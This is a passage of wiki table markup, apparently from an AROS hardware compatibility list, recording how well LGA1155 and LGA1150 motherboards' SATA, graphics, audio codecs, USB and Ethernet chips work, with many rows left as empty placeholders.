| &lt;!--Name--&gt;Gigabyte GA-H61MA-D3V 
| &lt;!--Chipset--&gt;H61 + 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 ports sata2 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;Maybe HDAudio with Realtek ALC887 (Rev 2.0) ALC887 (Rev2.1) 
| &lt;!--USB--&gt;2 USB 2.0/1.1 ports 
| &lt;!--Ethernet--&gt;Realtek RTL8111E
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-H61N-D2V 
| &lt;!--Chipset--&gt;H61 + 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata2 and maybe 4 sata3 
| &lt;!--Gfx--&gt;pci-e 2.0 slot wit 1 x DVI-I port
| &lt;!--Audio--&gt;{{unk|HDAudio with Realtek ALC887 (Rev 1.0)}} 
| &lt;!--USB--&gt;2 USB 2.0/1.1 ports 
| &lt;!--Ethernet--&gt;Realtek RTL8111E
| &lt;!--Opinion--&gt;2013 64bit- 2 x 1.5V DDR3 DIMM sockets up to 16 GB - 
|-
| &lt;!--Name--&gt;GA-H61M-S2PV 
| &lt;!--Chipset--&gt;H61 with 2400k 2500k 2600k 2700k 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 2.0 slot 
| &lt;!--Audio--&gt;ALC887 (rev 1.0 2.0 2.1 2.2 2.3) 
| &lt;!--USB--&gt;4 USB 2.0
| &lt;!--Ethernet--&gt;Rtl8111E (1.0), 8151 (2.0) no, Rtl8111F (2.1 2.2 2.3) 
| &lt;!--Opinion--&gt;Micro ATX Form Factor; 24.4cm x 20cm with 2 pci-e and 2 pci - 
|-
| &lt;!--Name--&gt;Intel Classic Series DH61CR Desktop 
| &lt;!--Chipset--&gt;H61 + 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 ports 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;Intel HD with ALC892
| &lt;!--USB--&gt;4 ports 
| &lt;!--Ethernet--&gt;{{no|Intel 82579V}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI H61M-P20 (G3) MS-7788 
*retail MSI board 
*OEM Advent, etc 
| &lt;!--Chipset--&gt;H61 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes|four SATAII ports}}
| &lt;!--Gfx--&gt;1 PCI Express gen3 (retail) gen2 (oem) x16 slot 
| &lt;!--Audio--&gt;{{yes|HDAudio ALC887 codec}}
| &lt;!--USB--&gt;{{yes|}}
| &lt;!--Ethernet--&gt;{{yes|Realtek 8105E 100M Network Card}} 
| &lt;!--Opinion--&gt;2012 64bit - 2 ddr3 slots - 22.6cm(L) x 17.3cm(W) M-ATX Form Factor - BIOS - [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1149&amp;rowstart=140&amp;pid=6009#post_6007 works well], 
|-
| &lt;!--Name--&gt;MSI H61I-E35 (B3) MS-7677 Ver.1.2
| &lt;!--Chipset--&gt;H61
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata2 3gbps 
| &lt;!--Gfx--&gt;{{maybe|VESA 2d for hdmi and 1 pcie 2.0 x1 slot}}
| &lt;!--Audio--&gt;{{yes|https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1149&amp;rowstart=140&amp;pid=5861#post_5861 works}}
| &lt;!--USB--&gt;USB3 and USB2 
| &lt;!--Ethernet--&gt;{{yes|rtl8169 rtl8111e}}
| &lt;!--Opinion--&gt;2012 64bit - 2 ddr3 slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus P8H67-M
| &lt;!--Chipset--&gt;H67 + 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 sata3 - 4 sata2
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;Intel HD with ALC887 
| &lt;!--USB--&gt;6 USB2.0 
| &lt;!--Ethernet--&gt;Realtek® 8111E 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus P8P67 
| &lt;!--Chipset--&gt;P67 with sandybridge and ivybridge cpus 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{unk|HDAudio with ALC codec}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{unk|rtl8169 realtek rtl8111}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus P8Z68-V LX 
| &lt;!--Chipset--&gt;Z68 + Intel 2nd generation (Sandy Bridge) CPU and possibly ivybridge 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes|2 sata3 - 4 sata2}}
| &lt;!--Gfx--&gt;pci-e slot 
| &lt;!--Audio--&gt;{{yes|HDAudio Intel HD with ALC887 codec}}
| &lt;!--USB--&gt;{{yes|2 USB3.0 - 4 USB2.0}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek® 8111E}}
| &lt;!--Opinion--&gt;2011 64bit SSE 4.1 and AVX - EFI bios - 4 ddr3 dimm slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte Z68AP-D3 (B3) 
| &lt;!--Chipset--&gt;Z68 + Ivybridge 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 sata3 - 4 sata2
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;Intel HD with ALC889 
| &lt;!--USB--&gt;2 USB3.0 - 4 USB2.0 
| &lt;!--Ethernet--&gt;Realtek® 8111E 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus B75M-A 
| &lt;!--Chipset--&gt;B75 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{maybe|HDAudio with Realtek ® ALC887-VD codec}}
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek ® 8111F-VB-CG }}
| &lt;!--Opinion--&gt;2013 64bit - 2 ddr3 slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;H77
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-H77-D3H 1.0 1.1 
| &lt;!--Chipset--&gt;H77 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata 3.0 
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{No|HDAudio VIA VT2021 codec}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Atheros GbE LAN chip}}
| &lt;!--Opinion--&gt;2013 64bit i5 3550 7 3770 - 4 DDR3 slots - 2 full pci-e 2 pci slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Gigabyte GA Z77 D3H with i3 3225 dual 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{No|HDAudio VIA VT2021 codec}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Atheros GbE LAN chip}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket LGA 1150 H3 (2013/2016)=====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;[https://theretroweb.com/motherboards/s/asus-b85m-e-rev-1-02 Asus B85M-E]
| &lt;!--Chipset--&gt;B85 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{maybe|HDAudio with Realtek ® ALC887-VD2 codec}}
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek 8111F}}
| &lt;!--Opinion--&gt;2014 64bit - 4 ddr3 slots - 
|-
| &lt;!--Name--&gt;Gigabyte GA-H87N-WIFI mITX 
| &lt;!--Chipset--&gt;H87 and Intel 4th generation (Haswell) Core i5 (4xxx) CPU 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;Intel HD with ALC892
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;{{no|Intel Atheros}} 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;ASUS H81I-PLUS Mini ITX 
| &lt;!--Chipset--&gt;H81 with intel 4590t 4690t
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata3 6gbps 
| &lt;!--Gfx--&gt;pci-e 3.0 x4 slot and with HD4400 HDMI vga mode works but other grub options no display just black screen - analogue DVI and vga untested  
| &lt;!--Audio--&gt;{{yes|HDAudio 6.34 with ALC8878 codec playback only}} 
| &lt;!--USB--&gt;{{yes|USB3 and USB2}} 
| &lt;!--Ethernet--&gt;{{yes|rtl8169 rtl8111g}}
| &lt;!--Opinion--&gt;2014 64bit - 2 ddr3 dimm slots max 16gb - f2 or DEL bios and f8 boot select - does not like unconnected gfx card in pci-e slot - deadwood 2026-09 DO3 build - 
|-
| &lt;!--Name--&gt;Asus H81M-C H81M-P-SI
| &lt;!--Chipset--&gt;H81 with 4th generation (Haswell) Core i7 (4xxx) CPU
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes|2x3g 2x6g}}
| &lt;!--Gfx--&gt;pci-e slot 
| &lt;!--Audio--&gt;hdaudio alc887 vd
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;realtek 8111gr
| &lt;!--Opinion--&gt;2013 skt 1150 - 2 ddr3 max 16g - mini atx - 
|-
| &lt;!--Name--&gt;Asus H81T 
| &lt;!--Chipset--&gt;H81 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 sata
| &lt;!--Gfx--&gt;HD4000 igpu only 
| &lt;!--Audio--&gt;HDAudio ALC887-VD 
| &lt;!--USB--&gt;Intel USB3 
| &lt;!--Ethernet--&gt;rtl8169 realtek 8111G 
| &lt;!--Opinion--&gt;2013 64bit intel 4th gen mini itx - external dc brick with 19v rare barrel pin 7.4MM x 5.0MM - 2 ddr3 laptop sodimm slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-H81M-S2V 
| &lt;!--Chipset--&gt;H81 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A|}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;HDAudio ALC887 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;Realtek® GbE LAN chip 
| &lt;!--Opinion--&gt;2014 64bit up to i7 4790K - 2 DDR3 slots - 
|-
| &lt;!--Name--&gt;Gigabyte GA-H81M-D3V (rev. 1.0)
| &lt;!--Chipset--&gt;H81 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A| }}
| &lt;!--SATA--&gt;{{yes|2 sata2 2 sata3 }}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{unk| HDAudio Realtek® ALC887 codec}}
| &lt;!--USB--&gt;{{unk|intel and VIA® VL805}}
| &lt;!--Ethernet--&gt;{{unk|rtl8169 Realtek }}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI H81M-E34 (MS-7817) 
| &lt;!--Chipset--&gt;H81 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;PCIe 2.0 x16 
| &lt;!--Audio--&gt;HDAudio with ALC887 codec 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;{{yes|rtl8169 RTL8111G}}
| &lt;!--Opinion--&gt;2013 64bit - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus Z87-K 
| &lt;!--Chipset--&gt;Z87 with 4th generation (Haswell) Core i7 4c8t i5 4c4t CPU
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;Intel HD with ALC
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek lan 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-Z87X-UD3H 
| &lt;!--Chipset--&gt;Z87 Express 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;Intel HD with Realtek® ALC898 codec
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|intel}} 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA H97M D3H r1.0 r1.1 with i3 4360 or 4370 dual 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;Intel HD with ALC892
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek lan 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus Z97 A with i7 4790K 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e slot for GTX 750, 960, 970 and 980 
| &lt;!--Audio--&gt;Intel HD with ALC
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|intel lan ethernet}} 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA Z97X UD3H rev1.0 1.1 1.2 
| &lt;!--Chipset--&gt;Z97 with i5 4690K 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HDaudio with ALC1150
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|intel lan}} 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI GAMING 5 Z97 
| &lt;!--Chipset--&gt;Z97 with 4th generation (Haswell) Core i7 4c8t CPU 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;ASUS Q87M-E
| &lt;!--Chipset--&gt;Q87 lynx point 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e slot 
| &lt;!--Audio--&gt;ALC887VD codec 
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;{{no|intel}}
| &lt;!--Opinion--&gt;2014 64bit - 4 DDR3 slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;H99 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket LGA2011V2 s2011-2  (2012/15)=====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
